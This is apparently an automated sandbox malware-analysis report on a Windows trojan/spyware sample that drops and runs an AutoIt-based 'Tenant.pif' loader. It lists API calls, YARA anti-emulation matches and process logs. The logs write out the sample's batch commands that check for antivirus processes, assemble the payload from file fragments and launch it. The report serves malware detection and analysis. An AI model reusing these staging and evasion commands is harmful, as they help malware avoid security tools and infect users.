Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B2D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW, 11_2_00B2D164

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 11.2.Tenant.pif.150000.0.unpack, type: UNPACKEDPE Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 11.2.Tenant.pif.13e3318.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 11.2.Tenant.pif.13e3318.3.unpack, type: UNPACKEDPE Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Abnormal high CPU Usage
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Process Stats: CPU usage > 49%
Contains functionality to call native functions
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AC0E38 FindCloseChangeNotification,NtProtectVirtualMemory, 11_2_00AC0E38
Contains functionality to communicate with device drivers
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B042D5: CreateFileW,DeviceIoControl,CloseHandle, 11_2_00B042D5
Contains functionality to launch a process as a different user
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AF8F2E _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock, 11_2_00AF8F2E
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx, 0_2_00403883
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B05778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState, 11_2_00B05778
Creates files inside the system directory
Source: C:\Users\user\Desktop\file.exe File created: C:\Windows\OpenedResearcher Jump to behavior
Source: C:\Users\user\Desktop\file.exe File created: C:\Windows\SimonAmounts Jump to behavior
Detected potential crypto function
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0040497C 0_2_0040497C
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00406ED2 0_2_00406ED2
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_004074BB 0_2_004074BB
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AAB020 11_2_00AAB020
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AA94E0 11_2_00AA94E0
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AA9C80 11_2_00AA9C80
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AC23F5 11_2_00AC23F5
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B28400 11_2_00B28400
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AD6502 11_2_00AD6502
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AAE6F0 11_2_00AAE6F0
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AD265E 11_2_00AD265E
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AC282A 11_2_00AC282A
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AD89BF 11_2_00AD89BF
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B20A3A 11_2_00B20A3A
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AD6A74 11_2_00AD6A74
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AB0BE0 11_2_00AB0BE0
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AFEDB2 11_2_00AFEDB2
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00ACCD51 11_2_00ACCD51
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B20EB7 11_2_00B20EB7
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B08E44 11_2_00B08E44
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AD6FE6 11_2_00AD6FE6
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AC33B7 11_2_00AC33B7
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00ACF409 11_2_00ACF409
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00ABD45D 11_2_00ABD45D
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AAF6A0 11_2_00AAF6A0
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AC16B4 11_2_00AC16B4
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00ABF628 11_2_00ABF628
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AA1663 11_2_00AA1663
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AC78C3 11_2_00AC78C3
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AC1BA8 11_2_00AC1BA8
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00ACDBA5 11_2_00ACDBA5
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AD9CE5 11_2_00AD9CE5
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00ABDD28 11_2_00ABDD28
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AC1FC0 11_2_00AC1FC0
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00ACBFD6 11_2_00ACBFD6
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: String function: 00AC8B30 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: String function: 00AB1A36 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: String function: 00AC0D17 appears 70 times
Source: C:\Users\user\Desktop\file.exe Code function: String function: 004062A3 appears 58 times
One or more processes crash
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2260 -s 3264
Sample file is different than original file name gathered from version info
Source: file.exe, 00000000.00000002.2014158848.0000000000594000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000000.00000003.2009804495.00000000028D1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameAutoIt3.exeB vs file.exe
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 11.2.Tenant.pif.150000.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 11.2.Tenant.pif.13e3318.3.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 11.2.Tenant.pif.13e3318.3.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@23/36@3/3
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B0A6AD GetLastError,FormatMessageW, 11_2_00B0A6AD
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AF8DE9 AdjustTokenPrivileges,CloseHandle, 11_2_00AF8DE9
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AF9399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError, 11_2_00AF9399
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW, 0_2_004044A5
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B04148 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,FindCloseChangeNotification, 11_2_00B04148
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_004024FB CoCreateInstance, 0_2_004024FB
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B0443D __swprintf,__swprintf,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx, 11_2_00B0443D
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\76561199761128941[1].htm Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2260
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6108:120:WilError_03
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\nsdDA49.tmp Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Cashiers Cashiers.bat & Cashiers.bat & exit
Source: file.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Windows\SysWOW64\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: Tenant.pif, 0000000B.00000002.4088074637.00000000252FB000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: Tenant.pif, 0000000B.00000002.4097716710.000000006C85F000.00000002.00000001.01000000.00000008.sdmp, Tenant.pif, 0000000B.00000002.4078109784.000000000C927000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4077923010.000000000C4E8000.00000002.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4092825323.00000000311DE000.00000004.00000800.00020000.00000000.sdmp, nss3.dll.11.dr Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: Tenant.pif, 0000000B.00000002.4088074637.00000000252FB000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: Tenant.pif, 0000000B.00000002.4097716710.000000006C85F000.00000002.00000001.01000000.00000008.sdmp, Tenant.pif, 0000000B.00000002.4078109784.000000000C927000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4077923010.000000000C4E8000.00000002.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4092825323.00000000311DE000.00000004.00000800.00020000.00000000.sdmp, nss3.dll.11.dr Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: Tenant.pif, 0000000B.00000002.4097716710.000000006C85F000.00000002.00000001.01000000.00000008.sdmp, Tenant.pif, 0000000B.00000002.4078109784.000000000C927000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4077923010.000000000C4E8000.00000002.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4092825323.00000000311DE000.00000004.00000800.00020000.00000000.sdmp, nss3.dll.11.dr Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: Tenant.pif, 0000000B.00000002.4097716710.000000006C85F000.00000002.00000001.01000000.00000008.sdmp, Tenant.pif, 0000000B.00000002.4078109784.000000000C927000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4077923010.000000000C4E8000.00000002.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4092825323.00000000311DE000.00000004.00000800.00020000.00000000.sdmp, nss3.dll.11.dr Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: Tenant.pif, 0000000B.00000002.4088074637.00000000252FB000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: Tenant.pif, 0000000B.00000002.4078109784.000000000C927000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4077923010.000000000C4E8000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: Tenant.pif, 0000000B.00000002.4088074637.00000000252FB000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: Tenant.pif, 0000000B.00000002.4088074637.00000000252FB000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: Tenant.pif, 0000000B.00000002.4088074637.00000000252FB000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: Tenant.pif, 0000000B.00000002.4078109784.000000000C927000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4077923010.000000000C4E8000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: Tenant.pif, 0000000B.00000002.4088074637.00000000252FB000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: Tenant.pif, 0000000B.00000002.4097716710.000000006C85F000.00000002.00000001.01000000.00000008.sdmp, Tenant.pif, 0000000B.00000002.4078109784.000000000C927000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4077923010.000000000C4E8000.00000002.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4092825323.00000000311DE000.00000004.00000800.00020000.00000000.sdmp, nss3.dll.11.dr Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: Tenant.pif, 0000000B.00000002.4097716710.000000006C85F000.00000002.00000001.01000000.00000008.sdmp, Tenant.pif, 0000000B.00000002.4078109784.000000000C927000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4077923010.000000000C4E8000.00000002.00001000.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4092825323.00000000311DE000.00000004.00000800.00020000.00000000.sdmp, nss3.dll.11.dr Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: Tenant.pif, 0000000B.00000002.4088074637.00000000252FB000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: Tenant.pif, 0000000B.00000002.4078109784.000000000C927000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4077923010.000000000C4E8000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: CBKJJJ.11.dr Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: Tenant.pif, 0000000B.00000002.4078109784.000000000C927000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4077923010.000000000C4E8000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: Tenant.pif, 0000000B.00000002.4088074637.00000000252FB000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: Tenant.pif, 0000000B.00000002.4078109784.000000000C927000.00000004.00000800.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4077923010.000000000C4E8000.00000002.00001000.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: Tenant.pif, 0000000B.00000002.4088074637.00000000252FB000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\user\Desktop\file.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Cashiers Cashiers.bat & Cashiers.bat & exit
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 271973
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "NorwegianLivedJerseyRelaxation" Para
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Ventures + ..\Thousands + ..\Enhance + ..\Kept + ..\Everything + ..\Say C
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Tenant.pif C
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2260 -s 3264
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Cashiers Cashiers.bat & Cashiers.bat & exit Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\tasklist.exe tasklist Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\tasklist.exe tasklist Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 271973 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "NorwegianLivedJerseyRelaxation" Para Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Ventures + ..\Thousands + ..\Enhance + ..\Kept + ..\Everything + ..\Say C Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Tenant.pif C Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: shfolder.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: cmdext.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: framedynos.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: framedynos.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: wsock32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Section loaded: dnsapi.dll Jump to behavior
